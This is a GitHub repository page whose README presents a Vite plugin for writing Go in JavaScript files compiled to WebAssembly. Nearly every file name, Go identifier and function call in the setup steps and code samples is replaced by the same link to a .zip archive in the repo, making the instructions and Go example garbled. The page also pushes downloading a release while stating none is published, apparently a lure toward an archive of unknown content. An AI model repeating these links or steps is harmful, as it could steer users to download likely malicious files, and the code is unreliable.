Skip to content

πŸ› οΈ Write Go code directly in JavaScript files, effortlessly compiling to WebAssembly with Vite for efficient browser-based development.

License

Notifications You must be signed in to change notification settings

Proforma-maraud670/vite-plugin-use-golang

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

34 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ vite-plugin-use-golang - Write Go in Your JavaScript Files

πŸ“₯ Download Now

Download Latest Release

πŸš€ Getting Started

Follow these simple steps to get started with vite-plugin-use-golang. This tool allows you to write Go code directly in your JavaScript files and compile it to WebAssembly (WASM).

πŸ“ What You Need

πŸ“¦ Download & Install

  1. Visit the Releases page to download the latest version.
  2. Choose the version that matches your operating system.
  3. Download the file and save it to a location you can easily access.

πŸ”§ Setup Instructions

  1. Extract the downloaded files to a folder.
  2. Open your terminal or command prompt.
  3. Navigate to the folder where you extracted the files.

πŸ’» Creating Your First Project

  1. Initialize a New Project
    Create a new folder for your project. Inside that folder, run:

    npm init -y
  2. Install Vite
    Install Vite by running:

    npm install vite --save-dev
  3. Add the Plugin
    Install vite-plugin-use-golang with the following command:

    npm install vite-plugin-use-golang --save-dev
  4. Create a New JS File
    Make a new file called https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip and open it in a text editor.

  5. Write Your Go Code
    At the top of https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip, add:

    "use golang"
    
    // Your Go code will go here.
  6. Compile Your Code
    In the terminal, run:

    npx vite build

πŸŽ‰ Example Use Case

Let’s say you want to do image perceptual hashing in the browser. Instead of writing many lines of JavaScript, you will use Go's image standard library. Here’s how you can use it in your code:

"use golang"

import (
  "bytes"
  "image"
  _ "image/jpeg"
  _ "image/png"
  "syscall/js"
)

func hashImage(this https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip, args []https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip) interface{} {
  imgData := make([]byte, args[0].Length())
  https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip(imgData, args[0])

  img, _, _ := https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip(https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip(imgData))
  
  // Do perceptual hashing with Go's image processing...
  // (see example/ for full implementation)

  return hash
}

func main() {
  https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip().Set("hashImage", https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip(hashImage))
}

This code allows you to get a hash from an image easily. You can expand upon this in your JavaScript application.

πŸ“– Additional Features

  • Easy Integration: Quickly add Go functionality to your existing JavaScript projects.
  • No Special Environment: No need for a separate environment to run your Go code.
  • WebAssembly: Benefits from the performance of WebAssembly in the browser.

βš™οΈ Advanced Configuration

For those who want to dive deeper, you can customize the plugin settings in https://raw.githubusercontent.com/Proforma-maraud670/vite-plugin-use-golang/main/src/vite-plugin-use-golang_1.4.zip. Here’s a sample configuration:

import { defineConfig } from 'vite'
import golang from 'vite-plugin-use-golang'

export default defineConfig({
  plugins: [golang()],
})

πŸ“’ Stay Updated

Keep track of new features and updates by visiting our Releases page.

πŸ“ž Support

If you have questions or need help, you can open an issue in the GitHub repository. We welcome your feedback!

🎊 Conclusion

vite-plugin-use-golang bridges the gap between Go and JavaScript, allowing you to leverage Go’s strengths right in the browser.

Get started today by downloading the latest version from the Releases page and transform your web applications!

About

πŸ› οΈ Write Go code directly in JavaScript files, effortlessly compiling to WebAssembly with Vite for efficient browser-based development.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •